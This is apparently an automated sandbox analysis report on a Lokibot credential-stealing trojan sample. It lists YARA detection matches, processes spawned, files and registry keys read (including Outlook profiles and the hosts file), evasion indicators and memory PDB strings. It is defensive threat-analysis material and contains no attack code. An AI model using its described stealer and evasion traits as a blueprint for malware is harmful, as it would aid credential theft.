Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-03-09
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/7@2/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File created: C:\Users\user\AppData\Local\?????????_Inc

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1552:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2576
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8B4.tmp

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Virustotal: Detection: 42%
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	ReversingLabs: Detection: 17%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 2120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F324E4F9-8496-40b2-A1FF-9617C1C9AFFE}\InProcServer32

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb" source: WerFault.exe, 00000008.00000003.283574346.0000000005678000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000008.00000003.271419527.0000000003392000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000008.00000003.271165162.0000000003386000.00000004.00000001.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: .ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: clr.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000008.00000003.271182721.0000000003398000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdb`Q source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: indows.Forms.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.PDB source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: WLDP.pdb: source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscoree.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbH source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: iertutil.pdbX source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdbT source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: shell32.pdbR source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\| source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbF source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb* source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb< source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.pdbLL' source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000008.00000003.271419527.0000000003392000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDSO* source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: wimm32.pdb^ source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdbv source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.PDB source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdbRSDSD source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: diasymreader.pdb_ source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbl source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscoreei.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: t.VisualBasic.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb" source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ncryptsslp.pdb. source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdbx source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbB source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: c.pdbis source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdbT source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: diasymreader.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000008.00000003.271165162.0000000003386000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: WLDP.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: clrjit.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb$ source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcr120_clr0400.i386.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: jVisualBasic.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: onfiguration.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: wintrust.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ore.ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: System.pdb source: WerFault.exe, 00000008.00000003.283574346.0000000005678000.00000004.00000001.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ore.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: System.Windows.Forms.pdbl source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdbT3?l source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: psapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb0 source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscoreei.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000008.00000003.271182721.0000000003398000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdbx source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb` source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: combase.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: System.Core.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Windows.Forms.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: .pdbJ source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: OneCoreUAPCommonProxyStub.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: edputil.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Windows.Forms.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xCBF103ED [Sat Jun 4 12:07:09 2078 UTC]

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 2576, type: MEMORY
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 0_2_00A68B7D pushfd ; iretd
